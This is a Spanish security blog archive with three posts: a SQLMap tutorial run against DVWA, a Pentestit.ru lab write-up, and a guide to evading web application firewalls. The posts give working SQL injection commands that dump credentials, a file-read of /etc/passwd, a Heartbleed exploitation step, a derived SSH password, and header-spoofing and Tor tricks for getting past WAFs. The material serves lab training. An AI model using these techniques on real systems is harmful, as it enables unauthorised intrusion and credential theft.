Mostrando entradas con la etiqueta sqlmap. Mostrar todas las entradas
Mostrando entradas con la etiqueta sqlmap. Mostrar todas las entradas

lunes, 5 de septiembre de 2016

Inyecciones sin agujas con SQLMap



Buenas a todxs,

Tras unas merecidas vacaciones he decidido volver a escribir una nueva entrada. Esta vez os mostraré la herramienta SQLMap.



SQLMap es una herramienta para la automatización de ataques SQLi, lo cual facilita bastante la tarea del auditor a la hora de buscar este tipo de vulnerabilidades y poder posteriormente explotarlas.
Está desarrollada en python y se encuentra ya instalada en distribuciones como Kali, aunque también podéis descargarla desde https://github.com/sqlmapproject/sqlmap/wiki/Usage. Es bastante completa, pero en esta publicación veremos los aspectos más básicos.

Para usar la herramienta sin necesidad de probar las comodidades que nos ofrece la Guardia Civil o Policía en uno de sus lujosos y bien acondicionados calabozos, probaremos a ejecutarla en DVWA (una plataforma de pruebas ya comentada en anteriores post como: https://fwhibbit.blogspot.com.es/2016/07/poc-evitando-filtros-anti-xss.html y https://fwhibbit.blogspot.com.es/2016/03/guia-metasploitable-2-parte-2.html).

Ejecutamos la plataforma, obtenemos la dirección IP donde se aloja y entramos en ella seleccionando el nivel intermedio.


Nos vamos a la pestaña de "SQL Injection" y probamos a introducir un número cualquiera para comprobar el funcionamiento, a la vez que obtenemos información de la Cookie generada (nos será necesaria más adelante para lanzar SQLMap).

Para obtener la Cookie abrimos el inspector del navegador y accedemos a las pestaña que puede verse en la siguiente imagen:


En este punto (siento por haber ido tan rápido hasta aquí, pero quería centrarme en SQLMap y no en DVWA) empezaremos con lo interesante.

Para ejecutar la herramienta utilizaremos el comando "sqlmap" en una consola con la opción "u" para introducir la URL vulnerable (habiendo introducido antes un ID en la web), con el parámetro "--cookie" insertaremos la sesión que obtuvimos con anterioridad y por último el parámetro "--dbs" para mostrar las bases de datos contenidas en la web.


El resultado será el siguiente:


A partir de aquí, se abrirá ante nosotrxs un abanico de oportunidades para obtener información.

Como era de esperar, podemos indagar un poco más buscando en las tablas de las bases de datos mediante parámetros como "-D" para seleccionar la base de datos y "--tables" para mostrar las tablas contenidas.


Obteniendo como resultado:


Ahora que nos sentimos como auténticos juankers, tras ver lo intuitivo y sencillo que es el manejo de esta herramienta tan potente, el siguiente paso no podría ser otro que mostrar las columnas de una de las tablas obtenidas con los parámetros "-T" para seleccionar la tabla y "--columns" para mostrarlas.


Por cada columna se nos facilitará información sobre el tipo de dato que contiene.


Para sacar la información de las columnas user, first_name, last_name y password, lo haremos de una forma bastante complicada. Sólo algunos juankers como yo podrán hacerlo a través de años de experiencia y estudios... Usando el parámetro "--dump"



Todo esto está muy bien, pero las posibilidades de SQLMap son mas variadas que los gorros de Chema Alonso. ¡No preocuparse primoh!

Algunos parámetros como "--current-user" nos dará información sobre el usuario que se está ejecutando en el servidor.


En nuestro caso, es el usuario "root".


Otra cosa que suele partir ojetes, sería ejecutar el parámetro "--file-read" para leer algo tan interesante como /etc/passwd.



El fichero se guardará en la ruta que nos indica: root/.sqlmap/output/192.168.1.105/files/_etc_passwd


Por último y no menos importante, siempre nos quedará para todo lo demás Mastercard y el parámetro "--help".

No olvidéis que todo esto se trata de información para utilizarla de forma responsable, profesional, académica, blah, blah, blah y debéis NO debéis utilizarlo para liarla pardísima por servidores ajenos sin un permiso correspondiente.



"La revolución empieza por casa SQLMap."

Pablo Lorenzo.



domingo, 4 de septiembre de 2016

Pentestit.ru - Test lab v.9 (Parte I)

Buenas hackers! Bienvenidos al lab.pentestit.ru

Me ha costado hacerlo en una semana más o menos y es el tiempo que me puse para hacerlo. No lo he terminado debido a su dificultad, y aún con ayuda me quede de momento en el 63%. Tengo que dar agradecimientos al compañero belane que me resolvió un token, ya que andaba bastante perdido y también a una persona del canal de telegram en inglés del lab, que me ha ayudado en el transurso de él. Gracias.

Una vez dicho esto, hay que conectarse mediante VPN al servidor. Para ello podemos hacerlo de dos formas, bajarnos la iso que tienen disponible para hacer el lab o bajarse el archivo de configuracion de la VPN y usar openvpn con dicho archivo. Usare esta ultima para poder usar parrotOS.
Por tanto solo basta con descargarnos ese arhivo e irnos luego a network connections y añadir una nueva conexion VPN, importando una configuracion VPN previamente guardada. Una vez elegido esto simplemente hay que poner el user y la pass que nos proporciona la web.
Es muy aconsejable que miremos el esquema de la red interna del lab, ya que es la estructura principal por donde nos moveremos en el pentesting. Vemos que hay dos subredes bien diferenciadas y distintos servidores con software y sistemas diferenciados, al giaul que los servicios que prestan.
De primeras solo podemos hacer un descubrimiento de red a la ip del gateway. Una vez conectado a la VPN necesitamos nmap para ver que puertos del gateway estan abiertos.

Atención Spoiler!!

Nmap para realizar un escaneo Con la opción -sV permite ver la versión de los servicios, con -A permite la deteción de OS, la versión, script scanning, y traceroute. Con -T4 indica el tiempo de envió de los paquetes, es decir desde 0-6, la más baja es la más lenta, y también mejor ya que podría evadir algunos firewall.
 Haciendo pruebas en el navegador, no resuelve el dominio por el protocolo http. Con https nos dice que es inseguro y en el puerto 8100 vemos que es un servidor de correo.
"El archivo hosts de un ordenador es usado por el sistema operativo para guardar la correspondencia entre dominios de Internet y direcciones IP. Este es uno de los diferentes métodos que usa el sistema operativo para resolver nombres de dominios."Wikipedia.
Así añadimos la dirección del gateway con su nombre del dominio y guardamos. Vemos dos email que pueden ser usados como nombres de usuario dentro de la red, así que es importante tenerlo en cuenta para mas adeltante.

Vemos su código fuente y no se ve nada de interés, unicamente contenido de wordpress. Si es un wordpress ¿Por qué no probamos el wp-login? Bien vemos que hay detras un WAF, detector de intrusos. Probamos dirb para hacer fuzzing de los directorios (Sin resultados positivos).
Sabiendo que es un wordpress, vamos a usar wpscan, para poder enumerar diferentes usuarios y las vulnerabilidades de los plugins.
 Probe buscar en searchsploit symposium para ver algún tipo de exploit para poder ganar algun tipo de acceso al servidor. En uno de ellos usaremos un SQLi en donde se aprecia una PoC, por tanto que mejor que usarla. Permite de una forma muy sencilla usando wget, obtener la base de datos incluyendo datos e informacion sensinble de usuarios y hashes de las contraseñas. Sin exito, error 403 Forbbiden. Creo que no se puede explotar ninguna vulnerabilidad por el puerto 80 debido al WAF. Así que probemos el puerto 443 https.

Segun Nmap esta abierto el puerto y la version de nginx esta obsoleta. Vamos a ver que tipo de SSL se esta usando con sslscan.
Esta herramienta permite realizar un escaneo para la busca de vulnerabilidad del SSL, y así poder subsanarla.
Según el resultado nos indica que es vulnerable a heartbleed. Podemos usar los scripts de Nmap para poder ver la vulnerabilidad del SSL tambien. Recomiendo usar la documentación en la web de Nmap en la seccion de NSE para ver todos los scripts disponibles que tenemos para poder hacer una buena auditoría de seguridad y pentesting.
Obtenemos un resultado positivo con un riesgo alto.
Vamos a usar metasploit, un auxiliar para poder explotar dicha vulnerabilidad en busca de información. La recoleccion de información es un proceso muy importante para poder encontrar información sensible como por ejemplo usuarios.
Seleccionamos la versión del TLS, rhost y en verbose para poder ver la salida de la ejecucción del auxiliar.
Encontramos un backup de usuarios....
Es una dirección web, como podemos observar en /var/html/_old.....
Lo introduccimos en el navegador y nos lo descargamos.
Bien tenemos unos usuarios con sus hashes.
Usaremos hashcat y el parametro -m
Y el resultado es la obtención del token bypass y conttraseñas utiles que nos van a servir para hacer lo que vendrá a continuación.

Una vez obtenido los usuarios del proxy, ya que vimos el resultado del nmap con un puerto abierto y su servicio proxy, vamos a usar sqlmap para explotar la vulnerabilidad anterior con el proxy y con las credenciales de un usuario.
Usamos esta parte del exploit que encontramos:
/wp-content/plugins/wp-symposium/get_album_item.php?size=
Como hay un WAF y en los intentos no nos ha dado resultado, ponemos el como proxy la url de la web:
--proxy="http://192.168.101.8:3128"

 y usamos una de las credenciales antes obtenidas
--proxy-cred="b.muncy:rabbit"

que nos dé un user-agent aleatorio:
--random-agent

le indica número de intentos o de carga:
--level="4"

sqlmap -u "http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=1" --dbs --proxy="http://192.168.101.8:3128" --proxy-cred="b.muncy:rabbit" --random-agent --level="4" 

Despues de un tiempo, nos devuelve dos bases de datos, concretamente MySQL.
Ahora usamos una base de datos, y obtenemos las tablas de ella
Seguidamente las columnas, y luego un dump.
Y bien, de esta forma obtenemos el token.

Una vez analizado el puerto 80 y 443, y mediante el uso del proxy pudimos obtener el token, nos conectaremos mediante el puerto 22 el servicio SSH al servidor. Es muy importante intentar conseguir acceso mediante este servicio ya que una vez conseguido podemos hacer pivoting dentro de la red interna, y a su vez crear un tunel hacia nuestro localhost y auditar o realizar un test de intrusión en dicho server interno. Por lo visto la versión del openssh no es vulnerable así que vamos a realizar la conexion para a ver si podemos obtener iunformacion del banner al conectarnos. Hice una consulta en el canal de telegram ya que no sabía por donde tirar y me dijeron que me fijase justamente en el banner. Podríamos buscar en google el nombre y saber que es. Aun así probamos contraseñas por defecto y nada. Por lo visto en github tiene un codigo en C, y podemos ver justamente el string The password en él y bueno no se programar en C, pero interpretando el código vemos lo siguiente:

En el código de la aplicación estaba la clave para pasar.
En la primera parte veíamos esto:

// disallow root logins
 if (strcmp(pUsername, "root") == 0) {
  return PAM_AUTH_ERR;
 }

Tiene deshabilitado el login de usuario " root "
En la segunda parte del código:

time_t now = time(NULL);
 struct tm *now_tm = localtime(&now);
 int hour = now_tm->tm_hour;
 int day = now_tm->tm_mday;

 char correctPass[11];
 sprintf(correctPass, "daypass%d%d", day, hour);

Nos dice time_t now = time(NULL) ----> hora actual
struct tm *now_tm = localtime(&now); ---> hora del lugar,(sabemos que el CTF está en Rusia, por lo tanto horario Ruso)
Aquí la manera de proceder con la clave:
sprintf(correctPass, "daypass%d%d", day, hour); ---->para que la pass sea correcta tenemos que poner daypass+el-día+la-hora (de Rusia)
Ejemplo:
Si en rusia son las 21:30, y hoy es el 7 de Agosto del 2016, la password sería ----> daypass721

Una vez deducida la password, usaremos usuarios comunes de linux, tal como daemon o www-data para el login en SSH.
Vemos que hay 3 users, probamos con el primero para loguearnos con él:
daemon@tl9-ssh:/etc$ su d.nash
The password: daypass723
d.nash@tl9-ssh:/etc$ cd /home
d.nash@tl9-ssh:/home$ ls -la
total 20
drwxr-xr-x 5 root root 4096 May 17 14:32 .
drwxr-xr-x 23 root root 4096 Aug 18 2013 ..
drwxr-x--- 3 root d.nash 4096 May 19 17:07 d.nash
drwxr-x--- 2 root e.grant 4096 May 17 14:54 e.grant
drwxr-x--- 2 root t.alvarez 4096 May 17 14:30 t.alvarez

Accedemos al directorio de d.nash :
d.nash@tl9-ssh:/home$ cd d.nash
d.nash@tl9-ssh:~$ ls -la
total 24
drwxr-x--- 3 root d.nash 4096 May 19 17:07 .
drwxr-xr-x 5 root root 4096 May 17 14:32 ..
-rw-r----- 1 root d.nash 220 Dec 30 2012 .bash_logout
-rw-r----- 1 root d.nash 3392 Dec 30 2012 .bashrc
-rw-r----- 1 root d.nash 675 Dec 30 2012 .profile
drwxr-x--- 2 root d.nash 4096 May 19 17:11 .ssh ------> directorio oculto

Accedemos al directorio oculto .ssh
d.nash@tl9-ssh:~$ cd .ssh
d.nash@tl9-ssh:~/.ssh$ ls -la
total 24
drwxr-x--- 2 root d.nash 4096 May 19 17:11 .
drwxr-x--- 3 root d.nash 4096 May 19 17:07 ..
-rw-r----- 1 root d.nash 1675 May 19 16:52 id_rsa
-rw-r----- 1 root d.nash 396 May 19 16:52 id_rsa.pub
-rw-r----- 1 root d.nash 222 May 19 17:11 known_hosts
-rw-r----- 1 root d.nash 10 May 19 16:57 token.txt ----> flag

Ahora vemos con cat que hay dentro del token.txt:
d.nash@tl9-ssh:~/.ssh$ cat token.txt
******ah

Un saludo, Naivenom

martes, 2 de agosto de 2016

Bypass WAF

Buenas compañeros,

Esta entrada vamos a ver como evitar mecanismos de protección como son los WAF (Web Application Firewall). En muchas ocasiones en un proceso de auditoria web nos encontramos que nuestras peticiones  son bloqueadas o reseteadas antes de que lleguen y pueden llegar ser un dolor de cabeza, ya sea porque no han introducido nuestra IP en la lista blanca o en cambio la empresa quiere conocer como funciona su WAF y si un hacker ético es capaz de evitarlo.




Para comenzar si estamos auditando una web y observamos que se resetean las peticiones realizadas o tardan mucho, es un síntoma de que podría estar detrás un elemento defensivo de red.

A continuación, se detallan una serie de técnicas para evitar tanto manualmente como empleando herramientas:

 Herramientas

Herramientas para el descubrimiento de WAF:


 Wafwoof

Descarga: git clone [https://github.com/EnableSecurity/wafw00f.git]

Instalación: python setup.py install




Ejecución:

wafw00f URL 

Entre los parámetros más interesantes:

Options:

  -a, --findall         Find all WAFs, do not stop testing on the first one

  -l, --list            List all WAFs that we are able to detect

Ejemplo:

''wafw00f -a ********.es''

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                               

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://********.es
Generic Detection results:
The site http://*******.es seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 12


Es capaz de detectar los siguientes fabricantes de WAF:

wafw00f -l

Profense

NetContinuum

Incapsula WAF

CloudFlare

USP Secure Entry Server

Cisco ACE XML Gateway

Barracuda Application Firewall

Art of Defence HyperGuard

BinarySec

Teros WAF

F5 BIG-IP LTM

F5 BIG-IP APM

F5 BIG-IP ASM

F5 FirePass

F5 Trafficshield

InfoGuard Airlock

Citrix NetScaler

Trustwave ModSecurity

IBM Web Application Security

IBM DataPower

DenyALL WAF

Applicure dotDefender

Juniper WebApp Secure

Microsoft URLScan

Aqtronix WebKnight

FireEye Digital Security SecureIIS

Imperva SecureSphere

Microsoft ISA Server


SQLmap

SQLmap puede emplearse para evadir la protección de los WAF's. Además tiene módulos detectar y evadir el WAF.

Identificación WAF--identify-waf

Evitar WAF/IDS/IPS:  --skip-waf    




Cambio de IP

Se puede conectar a través de TOR para "camuflar" la IP y evitar un bloqueo del WAF a nivel de IP.

Para ello, se cuentan con los siguientes módulos:

 --tor                              Use Tor anonymity network

 --tor-port=TORPORT  Set Tor proxy port other than default

 --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)

 --check-tor                  Check to see if Tor is used properly

 --delay=DELAY         Delay in seconds between each HTTP request

Es recomendable introducir pequeños delays para evadir posibles bloqueos del WAF por control de timer.

Burpsuite - Bypass WAF

Consiste en un plugin para burpsuite para saltarse el WAF que automáticamente configura las cabeceras siguientes:


 X-Originating-IP: 127.0.0.1

 X-Forwarded-For: 127.0.0.1

 X-Remote-IP: 127.0.0.1

 X-Remote-Addr: 127.0.0.1

De esta manera, el WAF analiza estas cabeceras y observa que la IP que está realiza las peticiones es localhost que se debe encontrar en la lista blanca.

Descarga: git clone https://github.com/codewatchorg/bypasswaf.git

Para más información: https://github.com/codewatchorg/bypasswaf

Nmap




Nmap dispone de un script para detectar

nmap -p80 --script http-waf-detect <host>


Manual

La mayoría de los WAF's bloquean a nivel de IP. Para evitar este bloqueo se pueden emplear diferentes técnicas:

 -Ir cambiando de IP conectándonos a TOR y forzar a que nos cambie de IP. Requiere de un trabajo extra y está en contra de la "usabilidad" pero a veces es lo que toca!

 -"Jugar" con las cabeceras. Se pueden emplear las siguientes cabeceras:


  • X-Originating-IP: Indica el origen de la IP. Se puede establecer el valor de localhost para engañar al WAF y pensar que se producen desde su origen. Otro método es añadir IP internas o privadas,      sin embargo, en este caso puede ocurrir que por políticas de seguridd no sean alcanzables y no podamos evadir el WAF.
  • X-forwarded-for: Indica la IP origen desde que se hace la petición. Útil para tratar con proxies.
  • X-remote-IP
  • X-remote-addr


Una dupla de valores que se les pueden asignar sería:

x-forwarded-for: 184.189.250.x  (I'm you cache server) - La IP pública de la página web.

x-remote-IP: 184.189.250.x (I'm your proxy)

x-remote-addr: 192.168.1.X (Internal user, let me in!) -> 127.0.0.1

x-remote-IP: (* or or %0A) -> 127.0.0.1


Otra solución directamente es añadir a todas la cabeceras el valor 127.0.0.1

El objetivo que se busca con el uso de cabeceras es obtener una IP interna o privada que se encuentre en la lista blanca del WAF, y de esta manera, evitar sus acciones.

Analizar las cabeceras de respuesta así como las páginas de error para verificar si está correctamente configurado o por el contrario, se muestran características del WAF o su propio nombre.


Se recomienda la lectura del siguiente artículo para evitar el WAF empleando queries de SQL en un inyección de código SQL para más detalle:


https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF


Si se consigue identificar el WAF, se tiene ya mucho ganado, pues la jugada es buscar las reglas de correlación para identificar ataques así como posibles bugs.

Espero que os haya gustado y os sea útil cuando os toque pegaros con uno. Para cualquier cosa, usad los comentarios y estaré encantado de contestaros.

La finalidad de esta entrada es con fines educativos y formativos con objeto de emplearse en entornos controlados y con permiso. No nos hacemos responsables de su utilización para ámbitos distintos.

Saludos.

NaxHack5

La mejor defensa es un buen ataque.


Google Analytics